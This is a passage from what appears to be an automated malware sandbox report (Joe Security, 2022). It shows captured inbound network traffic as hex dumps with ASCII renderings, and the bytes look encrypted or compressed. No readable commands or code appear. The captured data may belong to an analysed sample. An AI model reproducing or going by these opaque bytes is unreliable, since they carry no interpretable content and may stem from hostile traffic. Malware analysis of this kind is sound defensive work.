2022-01-15 19:23:31 UTC 4055 IN Data Raw: 08 ad 88 7a 9f 88 e0 b2 09 06 de 4c 65 60 26 b9 c6 25 9a 80 17 43 94 9b f9 ba 8f d7 7b 90 41 92 e2 b4 56 d4 09 2a 93 fa eb 65 5e 58 77 83 c5 33 d8 ed 09 5b 3f 10 ac ac d9 73 aa f2 f3 75 2b ec 9a 4e 5c 59 fd 1c ee 7a f7 79 45 3a 2e cd e2 34 9d ad 30 9a 2d 65 47 12 98 ee 4d 87 17 21 e8 c3 13 ba c4 a1 ff 1d e4 63 9d 1d 20 ae 9d ea 67 68 b4 5e 2a a1 a9 79 bd 91 96 e8 2e fd 93 69 02 7b 8b 47 5e 23 68 6f 82 b5 36 03 56 54 9a 7b b8 08 6b 49 06 30 4b 1a 1e 92 63 52 30 15 e1 27 92 4e 8f 3e 11 7f 5d 8b a0 22 4a 48 a2 f0 ee 5b 1e 4c 8c 8c 14 d1 69 99 94 db b6 6d bf 4d ee 8f 2b d4 47 56 92 71 70 60 d6 50 32 00 0b 2a 78 73 03 49 ad 9c ad 1b 46 7c 11 a7 ce f3 75 3e 4a 8e cd 97 43 5c a0 21 91 e5 7b ae 1c 31 10 d2 6e da e2 86 fc c2 f7 98 4e ed 40 4c f0 53 7a 2a 53 d7 be Data Ascii: zLe`&%C{AV*e^Xw3[?su+N\YzyE:.40-eGM!c gh^*y.i{G^#ho6VT{kI0KcR0'N>]"JH[LimM+GVqp`P2*xsIF|u>JC\!{1nN@LSz*S

2022-01-15 19:23:31 UTC 4071 IN Data Raw: f3 35 af ce ee 7f 47 7f 07 5b a4 65 46 3d ee 20 90 49 a0 47 a1 51 db 49 19 6c 41 dd 16 a6 53 9f 7c c6 95 ab 99 7f 17 11 d4 56 94 07 55 40 ee 85 46 bc 48 cd 3b 23 42 c5 b2 f8 d3 de 47 39 7e 25 44 85 22 76 21 e5 9e 7d 02 ba ca a6 3a 51 66 94 53 0d ca 77 e0 99 a5 a2 8e f0 14 be ba b7 8e 24 54 50 25 8b 8c 6f 76 fc 97 fc 85 62 4d 6c f1 ff 4b d6 4e 16 52 eb 9f 51 19 f8 ab bc e1 a6 32 06 0e 32 af 5a 0d 28 9c c4 9d 0f 2f f2 f1 f4 dd f3 8d 28 9a d9 2c 60 52 78 c9 47 ca 38 ec 85 be 37 7c db d5 58 41 20 ce 5b 16 f6 63 f0 67 48 e1 a9 55 9a 9e 1b fa 00 f3 a8 d8 3e 31 04 1f d3 7d a4 18 b8 e1 17 d8 a6 e6 de b0 fb 48 3d 4c 99 83 3c b6 00 ae 52 77 2d f5 99 4f 69 fc 52 fe f8 a6 89 ba 69 21 5f 2f d5 28 bd 63 fd f8 28 c8 0e 78 74 a2 7d 50 f1 fc d5 fa f5 84 b9 43 cf 94 fb cb Data Ascii: 5G[eF= IGQIlAS|VU@FH;#BG9~%D"v!}:QfSw$TP%ovbMlKNRQ22Z(/(,`RxG87|XA [cgHU>1}H=L<Rw-OiRi!_/(c(xt}PC

2022-01-15 19:23:31 UTC 4087 IN Data Raw: ea f4 c9 5b d3 32 b4 17 05 f9 b3 2f 26 0e 16 33 5c bb a9 a5 f7 af 20 6b b0 e8 0f 0d 0b fa 35 79 00 23 71 a0 08 88 0f 83 22 59 10 10 87 4d 8d 84 78 e4 73 69 ff cf a9 a7 b1 20 15 2a cb 74 75 96 c0 9e d8 8d 07 87 fe 63 ab 1d 69 72 74 9e 51 a9 b6 5a c8 87 be 64 ee 71 03 b3 d2 31 12 91 ec 6b 36 67 0a 7f 62 22 e9 49 0e 55 0d fd 76 c0 a5 9c 96 e2 d6 06 ae dc 9c f5 3e da 44 d1 0e f8 6c 11 74 f0 fb 30 ce 44 7e e9 c5 91 e7 b8 e0 6f 7a 82 77 38 53 34 28 0c c5 de 02 45 9e b0 68 38 44 b4 c5 ce 86 3d 7f 24 2d 2a 7a 6a 28 3b a4 ee 4a 07 ee b6 9d c5 88 e4 f4 db 36 27 2b 13 8a 48 02 ea fa ce de 03 fd 36 25 2d 66 fd c4 82 57 76 58 43 6b b1 f2 5b f0 01 06 03 6c da 14 25 1b 04 e6 fb 92 2b 66 86 d0 26 07 31 54 ce 08 a2 0a aa 40 7e 56 92 34 6b a7 a0 4f 94 22 7f 60 75 a7 26 2d Data Ascii: [2/&3\ k5y#q"YMxsi *tucirtQZdq1k6gb"IUv>Dlt0D~ozw8S4(Eh8D=$-*zj(;J6'+H6%-fWvXCk[l%+f&1T@~V4kO"`u&-

2022-01-15 19:23:31 UTC 4103 IN Data Raw: 05 9c 04 94 51 bf 20 4a b6 34 58 e2 7e 31 00 17 72 e2 36 35 f6 71 d6 1e 24 43 3f 55 6a e4 6e f0 e5 44 5a bf fe b3 8b 21 8c de 3c 38 05 af a2 da 62 b2 13 4e ed 25 50 f3 ba 42 21 70 18 99 2a 02 6e 02 bb 46 aa c3 97 78 0e 88 34 b6 19 ff b1 39 62 5c 7f bf 4f df fb 82 83 8f a3 c1 09 ad 43 ce b8 81 46 29 d6 6e f4 9d 1a 40 59 3b 30 05 b1 e9 eb c6 74 5f a4 09 9b f1 a7 7c 47 d4 be 95 43 b0 60 f6 1d 47 33 c4 60 6b 7f 16 db 06 0d e4 a6 42 ae cb 59 31 73 e3 65 e8 9e 97 48 9e b9 52 8e f6 96 9f 65 19 5c b6 2e 97 3f b5 75 5b fe 99 18 9d ca 18 0c 36 c5 67 9e 65 b4 2d df 40 91 5e 2d c1 69 21 3c 63 4f 0b f3 de 18 f0 ab cf 1a 3f 04 26 6a 8a 81 8b 74 c7 3b 89 e0 b2 b0 6e 3d 08 6b 34 37 92 73 f7 87 6c 7a 6d 63 d3 a9 c5 58 f5 7b a0 b3 20 fd 8c 82 63 8f be cd 70 8c ac 69 4e fc Data Ascii: Q J4X~1r65q$C?UjnDZ!<8bN%PB!p*nFx49b\OCF)n@Y;0t_|GC`G3`kBY1seHRe\.?u[6ge-@^-i!<cO?&jt;n=k47slzmcX{ cpiN

2022-01-15 19:23:31 UTC 4119 IN Data Raw: 05 86 cb c5 22 ac 4a 08 9a fc 0b a8 cf df 94 d9 7c 9c c3 5c 1f 01 f1 38 42 56 0e 0c ac 8a d0 2b a9 2c 36 c5 31 ac 24 d1 e1 24 97 69 8c ec 9e 1e 38 df d5 a4 56 06 12 53 1c e6 be 2f c1 70 e3 2b af 3a 38 27 dc b5 c4 29 9f c5 e2 9c d4 ce 2f ba 45 d6 f7 c1 1f 60 5d 07 99 22 6e 71 ae ae 51 c4 5a 9e fa 42 24 ee c3 bb 6d 5b a4 29 6f e4 95 3c b0 c8 d5 56 47 54 fa 43 7b 1c 10 f4 26 c8 91 7d 94 75 1c 7b cc 64 07 3e 7f d9 fb db fb 00 29 81 51 20 5a 17 ef f8 47 f7 8c 25 b4 c4 8d e4 fc cc 6b e3 dd 9e a6 35 33 cd 34 5b e6 b5 ae d1 03 5a 1f 8b 81 b1 f7 6d 40 ce 50 4e 3d 60 97 70 b6 15 4d ac 03 78 3b 2d 41 bd fc 22 fe 20 5d d1 d9 ae f0 64 d1 05 d8 b1 53 f7 3d 64 49 eb 8c 74 d7 d4 4b 9e fa 7f c9 c9 a7 81 23 17 9b f6 3d b3 e0 72 ea 12 d1 db 13 11 d1 5a 00 8e d7 59 ea e7 6b Data Ascii: "J|\8BV+,61$$i8VS/p+:8')/E`]"nqQZB$m[)o<VGTC{&}u{d>)Q ZG%k534[Zm@PN=`pMx;-A" ]dS=dItK#=rZYk

2022-01-15 19:23:31 UTC 4135 IN Data Raw: b4 13 51 98 89 0d 65 34 19 d2 b5 12 a0 1a 50 93 1c 6c 6e 4f 1f ca 03 fb c0 8f cf da 6f 19 e9 66 7d d9 15 3b 66 31 7e d5 5c 67 28 09 57 fa 18 9e cc d6 30 e6 9e b5 45 a5 39 14 22 20 85 b4 b7 0c 86 29 57 06 85 5b 88 2e eb c1 62 2c f2 45 b7 10 ec 69 00 00 33 92 97 60 3e df bc 21 cf a4 1e e0 ce 32 68 0c b7 70 77 68 39 52 7b 3f 94 b7 a0 85 66 1c 60 88 13 fa ce d4 8d d5 b7 82 a4 52 58 75 a6 c2 b9 ac 8e 3d 7c 30 35 92 29 05 ac cd 70 41 41 e5 88 91 78 a2 cf ed ee 40 c3 8e 11 c7 d5 b7 05 f6 82 cf 9f 7a 00 fd 98 59 50 83 77 a0 7f bf 38 8c 22 5e fe b2 9f 45 75 13 2f 6c eb 0a 3e 26 68 9c d1 31 e4 f2 4c bf 62 8c 85 ec 0f 24 33 87 71 e8 70 dd 24 91 7b 93 af 49 dc fc 32 f3 a6 f3 eb 43 e4 4d 89 af ff 4c 82 dc f2 78 60 02 6c a2 b0 86 6d 5a 8f c5 31 81 3d 03 fe 3b 2d fc 41 Data Ascii: Qe4PlnOof};f1~\g(W0E9" )W[.b,Ei3`>!2hpwh9R{?f`RXu=|05)pAAx@zYPw8"^Eu/l>&h1Lb$3qp${I2CMLx`lmZ1=;-A

2022-01-15 19:23:31 UTC 4151 IN Data Raw: cf 53 83 91 3a 68 a4 54 45 1d 59 d6 14 2a 9b 8d 4b 04 ff 59 2c f6 29 67 56 78 c5 b2 6b 55 ab 7d 35 83 cf db db 59 8a d7 5c 87 ae 6f cf c5 c0 c5 d5 26 17 f7 53 ea 9d b5 f9 ac 37 89 ef fd e0 1a 41 54 d2 de 16 02 2f 8d 3a cb 69 5d e5 1c 8d 06 59 86 4d 43 c0 d8 9d 4f cb 03 ee 67 29 4e cc f9 b3 82 d2 9e f8 4f 20 e4 ec a7 49 95 30 7d 80 e0 f9 ee ec 43 b7 90 2e fe 40 75 9f 29 0b b1 be 5c 14 51 cb 6a 45 b4 64 d2 08 b0 05 0c 30 b1 fb 8e 57 86 6d 90 4e f3 b4 56 6b 58 f0 53 7b 1c 3fc4 36 6a 18 0b 37 75 83 91 1a db 45 ef e5 f7 9a 71 26 7d cf 76 89 c3 da 5f bd e7 31 04 9c e6 3c c7 8c 07 c2 c0 bb 52 69 5a c5 64 7c 22 fb a7 a0 71 fc 38 9b 2c 08 a5 d5 67 db 0b d5 82 41 9c f6 3b e9 fa b5 6c f1 4f 23 49 7b eb 9c 3b 18 84 a4 63 cd 9e ce 9c c8 41 f1 c4 4d fb 49 ca 7a e3 fb Data Ascii: S:hTEY*KY,)gVxkU}5Y\o&S7AT/:i]YMCOg)NO I0}C.@u)\QjEd0WmNVkXS{?6j7uEq&}v_1<RiZd|"q8,gA;lO#I{;cAMIz

2022-01-15 19:23:31 UTC 4167 IN Data Raw: 98 f8 39 cf 5d 41 61 ad 2f 85 11 81 ca e3 88 66 11 55 70 6b b0 88 13 03 3b d4 12 75 88 14 66 06 f2 fa 70 3a ec d3 33 08 36 f8 d8 8a e9 45 b4 fb 87 50 dc fc c8 db 8f 4f d7 1d dc 4b e1 56 92 c9 16 6b d4 dd 22 f7 2d e5 2e 7c be e6 e4 d9 cf a3 a1 0e 0c 1d 6d 9b 4d 79 4c 13 f6 19 0a 15 8a 29 36 be 63 83 1b 72 1b 0b 58 da 7d f2 ef 58 dd 50 79 69 25 26 0a b6 fb 44 d0 04 7c 23 d8 07 71 49 3d 24 9b 4d f7 b6 ba 06 7a 81 9b 5d 1f 88 05 b9 75 22 dd c3 32 b3 38 1b 51 aa 88 be 0c 88 8e d7 20 b4 e8 d6 24 e3 3e 7b 63 37 05 5c 37 a0 06 ee 7e 04 58 2a 80 3f 8b ca aa 61 2b 38 38 11 3d 5a ae cd 32 05 68 32 52 c3 29 91 b2 9d c8 1c ca 11 7c 10 fe 5c 70 09 1c 75 f4 1c a6 16 ed 3a 03 27 b8 61 7b cc 2a d5 96 fa d0 08 06 56 e6 9f 70 1e 78 b2 14 26 14 e7 13 9d fa fd a0 c9 7f de 8c Data Ascii: 9]Aa/fUpk;ufp:36EPOKVk"-.|mMyL)6crX}XPyi%&D|#qI=$Mz]u"28Q $>{c7\7~X*?a+88=Z2h2R)|\pu:'a{*Vpx&

2022-01-15 19:23:31 UTC 4183 IN Data Raw: ed 95 d8 4c 30 f0 03 98 e4 13 7a 57 d4 a5 9d ef 1a 65 a2 49 9d d4 d6 78 09 a1 5b bf 7e 64 6c 39 2e ff 17 37 e4 5e 54 0d e3 5f 19 cc 7a ab ef 05 30 97 90 db 30 7c dd fa 6e 74 a5 63 4b d0 b2 1d d8 a1 2c 76 10 b5 2b 82 92 bf 59 f4 2c 55 10 92 22 01 c0 d0 39 e3 0a 0d 52 c1 d7 27 17 59 88 e6 eb b8 ec 51 94 84 fb c4 b0 a0 8f 12 ce 05 38 ca 12 35 c4 c2 c3 80 1d b6 0c 1a 68 6d 82 b6 90 93 85 6d 4a 69 e4 84 b1 b6 ea 4b 27 1f b8 f3 3d 59 6f f6 bb 66 63 3f 2d 33 8b 25 08 74 9e 4e fb 33 b3 9d 0c b0 b5 b7 89 43 b9 5d a8 68 b2 0c 89 02 59 dc 86 21 7d 4f 1a 39 1e 3e 87 52 d9 eb 5d 66 1c 45 e0 26 8d c6 54 24 dc b7 bb 52 09 16 df a2 e6 9c e1 93 97 a9 be 5d 87 d1 9b 68 c2 ff fa a5 81 9c 5a ec 69 6f 6a eb 37 e6 ea 20 d1 24 a0 51 03 2e 9c 2f 32 8e fe 30 18 97 c5 f4 2f b8 65 Data Ascii: L0zWeIx[~dl9.7^T_z00|ntcK,v+Y,U"9R'YQ85hmmJiK'=Yofc?-3%tN3C]hY!}O9>R]fE&T$R]hZioj7 $Q./20/e

TimestampkBytestransferred Direction Data

Copyright Joe Security LLC 2022 Page 57 of 103

2022-01-15 19:23:31 UTC 4199 IN Data Raw: c9 a3 72 f5 cb b3 d4 df d5 11 44 f9 7b 88 0f c0 ae 22 5b 61 b4 cf 16 12 2f ed 61 29 31 3d 70 28 3a ed d7 20 55 da bd d1 d1 d6 d5 62 76 8e a3 5a b3 18 fc bf 81 7e f8 11 16 fe 44 26 e3 89 a8 ae 53 20 a1 36 4e f1 d6 0d c8 ed b7 52 94 45 4f ce b5 01 cd ae 55 c1 ed 69 81 22 64 0f f7 a6 a3 be d8 4b d5 6f 40 a8 54 19 fe a4 2f 6a ac 10 9c 54 02 c7 b2 f7 91 60 83 ed d8 48 cc 54 11 ee 3f da 90 f3 90 93 4d d2 c3 b1 1c a8 66 7f f3 12 1f 0a 62 8f 3f d8 59 d3 53 b1 f5 88 4c d3 36 cc 9d f2 66 30 09 34 14 43 aa 0d 60 8c d2 6e eb 7a d5 94 63 5c 45 aa f7 53 d9 46 09 0a dd b9 f0 eb 18 03 6e 74 c2 8d 8a 23 47 0e d7 cf 4d 5d 02 27 76 00 73 df d9 ef 54 d9 f6 04 4b bb 75 ca c4 15 39 66 fa 4e ca 7a 31 e6 6c e7 6d 28 4e e0 55 26 a7 6b 74 f3 e5 a8 b5 85 4e b7 9c eb 8f 26 59 0c da Data Ascii: rD{"[a/a)1=p(: UbvZ~D&S 6NREOUi"dKo@T/jT`HT?Mfb?YSL6f04C`nzc\ESFnt#GM]'vsTKu9fNz1lm(NU&ktN&Y

2022-01-15 19:23:31 UTC 4215 IN Data Raw: 9c 13 4f 9f d7 ba 5a fb 7a 66 3b 1e fd 37 7e 59 46 76 f6 3a 15 c6 46 36 42 e3 b6 1e f7 95 8f 87 56 8a fa a6 86 d8 05 c3 1e 3f e8 9a 63 53 78 af f5 c2 9d 54 d6 80 89 44 44 75 17 97 2a 31 a4 0c 5f f0 17 7a 90 08 bb 3b a0 04 08 a4 dc bb 7f 72 3c b5 dd 61 fa ed 4d ed 49 66 7e d2 53 69 01 bd 1a 9c 18 b6 7a 4e 32 e5 d9 81 99 32 c0 2d af 78 b8 ae 10 6c 47 c8 b2 dc 35 07 e3 dd cc 2a 37 38 ef 4a c8 d2 6d 2c 4a 8a 51 f9 63 16 13 97 86 0b d3 d8 dc dd 20 84 39 bf 56 2e da 91 fe 4d 1e c5 55 04 30 bd 07 7b da 27 a8 e1 42 b1 1b 8b 14 00 36 e8 a3 f3 e7 13 b8 82 16 ac f8 b9 c7 e0 e9 f2 e4 dc 7a 28 4b 2f b6 a6 ad 57 59 94 a9 e7 ad 93 5b c0 c4 85 8a 31 03 08 d6 05 00 02 87 f6 25 c1 3f 37 1e 97 07 08 6f 22 39 43 94 92 fc 1d ec 54 fb 8d bc 39 da d5 ab 05 2b 7f e0 a8 18 21 24 Data Ascii: OZzf;7~YFv:F6BV?cSxTDDu*1_z;r<aMIf~SizN22-xlG5*78Jm,JQc 9V.MU0{'B6z(K/WY[1%?7o"9CT9+!$

2022-01-15 19:23:31 UTC 4231 IN Data Raw: 32 ef 5c 4a a1 1e 54 4e f8 52 92 4b a3 31 fa 45 59 1e c8 19 e5 17 83 ab 51 58 e4 bd 45 80 16 5e fa ed 14 e8 0e fc 3c 8b 77 24 d8 7c 2a 85 65 09 28 5e 9c 90 a0 94 18 c6 a8 35 a6 a8 69 2b 4a b3 91 aa 2e 0e 5e b2 08 53 0f 86 f0 e8 91 c5 21 8e cf 23 cc 39 9b ba 73 7d ef 21 f6 4e cb 99 69 40 3a d7 f3 84 d9 19 e5 8c 3f b5 1b fc aa 7f 6f a9 33 9f 28 f0 d7 84 ef 7a b6 1a cb 21 8d dc ef 77 41 b7 ac 41 29 12 5b e0 ce 37 32 b8 e5 1c f5 a5 11 e7 42 b1 03 62 73 77 65 ee 2e 69 df c3 35 38 47 45 f9 66 d5 c2 f5 ed bd d5 76 70 95 61 5d f4 e1 c7 cd 24 f8 36 82 bb c4 88 13 23 c6 39 65 57 1d 76 46 95 84 39 54 64 16 31 db a0 84 7b 25 ca 9d eb d2 87 60 60 1e 18 89 b1 a2 df 75 0a ad 10 1d c4 7b 7d 8b 7b 56 93 45 d9 47 a4 26 8c 51 30 ba ec ff 6b ae 9e 04 3d 74 e9 23 82 96 e6 78 Data Ascii: 2\JTNRK1EYQXE^<w$|*e(^5i+J.^S!#9s}!Ni@:?o3(z!wAA)[72Bbswe.i58GEfvpa]$6#9eWvF9Td1{%``u{}{VEG&Q0k=t#x

2022-01-15 19:23:31 UTC 4247 IN Data Raw: 2e c1 65 03 f0 d5 30 9a 90 2e da 4b 43 3c e3 67 07 8c 99 29 5f fc 6c 56 15 e0 85 e1 3d 9e 11 cc 8d 75 c2 9a 9d 53 93 0b 01 b1 e2 63 e1 5f 9c 6a 10 a9 d0 bf 94 db 7b e9 3c a3 b2 57 6d e0 54 ca 7e df fd 2f f4 73 6d 32 31 30 0b 8f c8 da 44 e7 21 88 6f 28 9d df 61 10 9a 67 66 25 ed 4f c9 2b ad b2 5f bd f9 17 01 a5 fe 4d d3 f8 b1 75 6e c9 04 c7 b8 d8 d7 b9 9a 90 8e 20 af 61 12 f8 e2 c9 5f 2b cd f5 75 35 50 dd 65 9b 62 09 14 d1 de 37 2d 82 f6 2b d8 5d c6 d5 e0 4e 53 f7 69 65 e6 25 c5 c0 a1 f1 c4 10 c9 1f d9 92 4c 58 61 bc de c9 1e 0b 29 f2 af d0 e7 b5 fa 39 f4 50 69 51 d4 cc 58 af 07 41 5b 65 8e 2e 1c a3 d8 fc bc 52 0b f1 ab 04 66 14 13 4f 05 10 c5 00 a9 9b 72 ef 9b 4f 76 b9 e9 47 c6 5a 4d ae fe db 31 0b 8a 9e f3 d2 32 8f c1 3c 58 e9 22 d5 7e c1 48 a3 10 3b 24 Data Ascii: .e0.KC<g)_lV=uSc_j{<WmT~/sm210D!o(agf%O+_Mun a_+u5Peb7-+]NSie%LXa)9PiQXA[e.RfOrOvGZM12<X"~H;$

2022-01-15 19:23:31 UTC 4263 IN Data Raw: e6 56 84 83 f3 33 92 64 af cb d0 a6 a4 44 4c 60 77 aa 8f a6 2c 93 dc d0 ad a9 2f c7 a3 a3 5e 03 6c ed f8 33 61 e5 54 b5 65 14 bd 8c 46 34 ee e4 18 13 3d b7 5d e8 68 ba 23 dd 9c 28 81 ce 3f 8c 74 2b e4 43 36 b8 01 b4 32 75 40 0b c0 c1 a7 dd ac b3 32 8d f5 14 a9 c1 29 a0 f6 94 b3 43 cf dd 03 3b 66 eb 73 51 69 7d d1 8b 92 d7 2c e5 3c bf 8e 9c 22 85 37 2d bf bc b9 1d a4 dd 16 a2 67 32 9f f5 a4 cc 7e f9 66 b1 27 1e 51 01 43 60 c4 c2 d5 8c 1c 96 be e7 2e 28 7f 5a 51 1f 3d 96 1b f5 0a 57 4b 52 55 82 a4 27 36 ce 73 85 b9 c1 06 b5 d8 49 04 1f a3 27 27 fa 77 ce e9 e6 f6 43 9a fc 78 08 4b 2e 5e 09 b3 c0 67 4f be 4c c3 ed a9 e6 64 78 c7 c1 4a 2d fb 64 88 97 ac 46 af c9 25 b2 65 ea dc c6 f0 e5 d8 78 42 39 c7 db 09 6d a0 73 06 3f e2 08 13 59 72 be bd cf 4f f8 c7 46 34 Data Ascii: V3dDL`w,/^l3aTeF4=]h#(?t+C62u@2)C;fsQi},<"7-g2~f'QC`.(ZQ=WKRU'6sI''wCxK.^gOLdxJ-dF%exB9ms?YrOF4

2022-01-15 19:23:31 UTC 4279 IN Data Raw: a9 59 a6 9b c5 69 81 1a fb f1 45 b3 63 1a 9e 4b ad b2 58 f5 f1 20 c2 b0 ad 8c c8 34 22 fc f4 4e 93 87 e9 52 49 e3 6e 6c 56 9e d5 5f e5 7e f6 57 40 c0 fd 99 dd b6 9e de 1a cd db 50 a8 21 10 e2 d7 25 f1 8b 90 c8 81 b6 fe b1 99 e8 20 c5 a9 8f f8 f7 c0 c8 da f5 5d fe 2c e9 b7 73 40 12 b1 4d c6 62 c9 d9 03 3b 97 56 1d a0 66 22 28 9f fe 89 b0 b3 ce b4 f6 c6 8c 3a 80 b5 3e aa 1a d1 cc 91 65 63 14 c0 57 83 9a b1 91 0e e3 76 b3 a6 b7 d8 54 a1 34 bc 47 4d f9 98 c7 4e 79 3c ef b3 a5 3c bb 5a 26 03 6b b2 32 16 75 e8 fd 3d 0e 34 60 35 a3 a0 fa 59 34 9f b9 bd 7f 00 66 d6 ef 93 3b 81 ff eb 42 b1 1e c9 65 9d 6d 90 f9 c7 e4 a5 96 28 1c 05 75 00 35 07 8d 41 cb 0b 91 c1 31 a9 d8 08 14 fd 7b ab 7c 19 c8 cc 86 91 4e 11 c9 fb 54 13 8b 05 49 94 72 27 ac 27 e4 ff 2e 08 fc 49 47 Data Ascii: YiEcKX 4"NRInlV_~W@P!% ],s@Mb;Vf"(:>ecWvT4GMNy<<Z&k2u=4`5Y4f;Bem(u5A1{|NTIr''.IG

2022-01-15 19:23:31 UTC 4295 IN Data Raw: 57 2d c4 e7 bf b5 e9 2a 79 9c d7 40 c7 e4 6a c0 6a c8 6f c3 0b 3a 53 1e b6 41 3d 52 a2 f5 5f 63 f0 f0 3a 6d 93 6c 62 c6 89 39 9c f7 da de 23 a5 11 0f 6d f1 cb 98 22 ea d0 5f a0 05 f4 dc 94 a2 68 41 b2 14 a5 bc 6f 1b 1d 6e fb e3 30 aa d7 a3 ac 37 97 67 b9 62 8f 26 3d cc bb 05 f7 8b ce a0 e7 6d 8c 58 53 e7 b2 52 98 48 b1 76 b1 6c d2 a6 5d f2 93 5e 4e 38 b9 27 7b 0e 98 fd 53 ee e1 de 3c 29 57 19 41 9a 83 ab 80 f2 c7 4b 76 28 95 14 27 1c a5 1e 26 5e 5e 6c 34 ed 51 bc df 7a 76 82 cb 6a bb bd fc 5b 09 6e 96 cb 70 99 f4 ba e3 a3 e6 9b 54 f7 e7 60 ca 99 a7 c6 4b 28 5e 2c 32 24 17 07 14 27 7d f6 1d 70 c3 8d 97 72 ed 12 bf ae 50 32 4a 71 7d 8c a0 0a 74 96 cd 00 af 56 85 19 53 d3 ea 7d ad 83 88 c1 24 9f d2 12 c0 d1 ce ac fe 1d 7c 49 42 04 5b 8f 43 fd ce 50 38 12 53 Data Ascii: W-*y@jjo:SA=R_c:mlb9#m"_hAon07gb&=mXSRHvl]^N8'{S<)WAKv('&^^l4Qzvj[npT`K(^,2$'}prP2Jq}tVS}$|IB[CP8S

2022-01-15 19:23:31 UTC 4311 IN Data Raw: cb 04 04 82 9c 16 4b b8 f9 cb dd ab b0 b6 7b e7 2f 46 04 ed a3 a6 ab 53 ec 9d 99 a6 0f a1 cd a3 37 be 87 d9 3e ee 74 df 69 54 6c b2 ec e6 49 69 5f 5f 65 31 3c a9 de e3 82 a0 d9 bf dd 00 72 2b 8b 53 40 9a 8c d0 b6 a9 f6 e3 13 58 2d 11 13 9e 7e 8c 06 51 d4 0b 1e 57 ec 01 c8 3a f6 57 ef 94 fa 1b 6a 4b 99 de 68 c4 c7 f0 f7 30 45 73 82 0c 89 ab 4a e4 51 50 6f 06 ee 51 bd 42 a8 df 94 eb ff be f9 31 5a b3 13 5c 42 e8 ba a2 2d 94 b1 a3 fe bd a3 43 d3 45 4a 9e d0 a3 9f ab 0625 40 13 ff 01 fc 33 b0 4e 6a df c4 d3 fa 5c 85 59 69 4f 67 89 84 e1 36 dc a9 70 7e 4d dd 43 d0 c1 73 fa d4 f2 6d bc 86 7a 5e 4a 76 bc a4 5f 90 e2 5f d9 f3 8d 46 69 f1 ab ba 58 09 c3 d0 46 30 cc b7 7a e4 7f 56 fd 47 25 6b 17 23 96 5e ae b9 a5 9e b8 cb 21 e1 2a 8b 07 d3 cc f8 8c 51 db 3a 19 4f Data Ascii: K{/FS7>tiTlIi__e1<r+S@X-~QW:WjKh0EsJQPoQB1Z\B-CEJ%@3Nj\YiOg6p~MCsmz^Jv__FiXF0zVG%k#^!*Q:O

2022-01-15 19:23:31 UTC 4327 IN Data Raw: 75 79 57 8b 5c bb eb 84 a8 12 b5 9a 5e 02 a2 b9 1d 68 1b 02 e2 6f 9c 47 f7 ac 5f 3c 46 76 0f 8a 2f 49 be 04 36 eb 3d 9d fb 0e d6 61 f6 14 fe 99 7d 3f ff b6 78 e8 ce 6f 87 92 ce 29 14 7e 96 9b f1 ca b4 c2 b1 9a 1d e5 d2 cf 4b 34 03 23 d7 60 ed 6a 88 7b af dd dd 36 27 1e fb 01 e1 d2 00 21 d8 77 aa ca f3 fa 2c b9 47 38 b7 e3 57 b4 12 e7 86 83 01 5e 0a 01 6e 7b 13 f5 a5 de b7 a7 a5 d6 d7 7f ed 2b 1d f0 34 ca 16 bd 58 05 5b bb de ae 54 06 87 f2 27 45 64 f5 d8 c2 61 65 c9 17 58 49 c9 44 54 af 55 09 5a 4e 0e f2 5c 38 2b 77 f3 7d 63 93 f6 d2 9d 73 0c f4 0a 45 d3 12 f9 40 1d f8 8b b8 41 20 ed 7f ff 54 4d e6 c8 db 2a f7 ff 7e 15 4b d1 95 d0 e8 90 89 a3 60 47 e0 e6 d5 03 ab 1a a9 c7 61 ee 25 7f ef 63 f8 9c 01 96 3a e0 84 41 61 70 4b 4f 9e 56 93 d9 80 76 e1 74 d3 25 Data Ascii: uyW\^hoG_<Fv/I6=a}?xo)~K4#`j{6'!w,G8W^n{+4X[T'EdaeXIDTUZN\8+w}csE@A TM*~K`Ga%c:AapKOVvt%

TimestampkBytestransferred Direction Data

Copyright Joe Security LLC 2022 Page 58 of 103

2022-01-15 19:23:31 UTC 4343 IN Data Raw: 79 56 65 3b 4e 3a 53 de 68 7d 79 44 17 d2 e8 97 59 1a 93 15 f9 15 40 74 de 67 5d fa 1e 91 40 07 f1 1c 2c 0f e5 b8 a0 64 85 69 79 2e b9 1a 9a 0b 6a 18 6b 4a 49 c7 27 36 6b a5 f3 8d c6 80 fc ed 57 14 c8 94 9c 1d 9f 5d c9 78 dd 8c 75 fc fd 14 cd 58 40 1e f8 50 80 62 8e 84 e1 f8 fb b7 a8 12 ca 74 a9 c6 d1 53 d8 8d 2f 73 ff 01 d4 94 a0 23 ed 74 0b 4f 85 41 19 88 bd de f0 27 5d 41 7a 98 0c 69 69 06 54 3f 9f b3 20 0b c3 7c a7 ab c9 ef 33 a3 12 25 46 07 6c 39 ec 0e 0d a0 a2 8a ce cd c3 f0 f7 3c 15 7f 6b b3 87 e6 7d 9a 39 8f 4c 7c b7 b3 6d 06 16 54 98 18 b5 57 f6 a6 0e 53 14 1c b8 65 cd 3c 87 e9 cb b1 e2 cd 3c d8 1a f3 44 37 fd a5 fe c7 eb 7a 82 f5 31 49 4f 9f f1 68 57 7e b1 3a 89 b6 b7 f1 0d 8b fe c7 3a 76 8c 8d 27 f2 ce 35 27 b7 52 24 d3 64 63 db 6d e3 08 11 e3 Data Ascii: yVe;N:Sh}yDY@tg]@,diy.jkJI'6kW]xuX@PbtS/s#tOA']AziiT? |3%Fl9<k}9L|mTWSe<<D7z1IOhW~::v'5'R$dcm

2022-01-15 19:23:31 UTC 4359 IN Data Raw: 60 59 1a 92 2e ff 3e 33 7a b5 ef 17 56 de fb 4e 22 30 17 14 dd 77 c2 0d 0d c9 69 ee 66 fd 12 78 2a c7 bc 3d 7b b7 e6 43 d8 f4 bd 19 08 1c be a7 a2 93 a7 0e 66 86 7e 7c 81 a0 32 80 d8 ac d9 77 06 75 ce 06 b0 a1 d3 f5 7f 8e d1 cc 43 32 df 17 32 b4 4b 2e b3 ad 7e 00 6b d1 aa aa 05 c1 f3 e2 36 8f 0d dc 66 59 88 ff 47 79 a6 d5 8a 4a 93 9e d2 a2 ae b4 88 20 f5 8a 74 7d 7f b7 ba b7 04 71 00 3a e1 f2 0c 01 d4 10 8b e4 a7 6a 9a 11 97 df ce df 3a ae c7 b7 b0 2e 02 34 e7 c9 8a 60 b7 d3 22 cf 30 95 11 aa e4 28 0f 8e 74 6a 5d 97 d6 9e dd 58 db fe 81 d8 c7 dd d2 2d c2 41 1a 33 3d 80 fb 2b 5d 5f b4 7f 70 0b 10 31 3d df 80 72 76 16 40 78 6f 0e 67 bd e8 0a ed e6 da f1 79 47 41 10 bb 74 9f 9b 60 2d ff c5 23 87 0e b4 77 c5 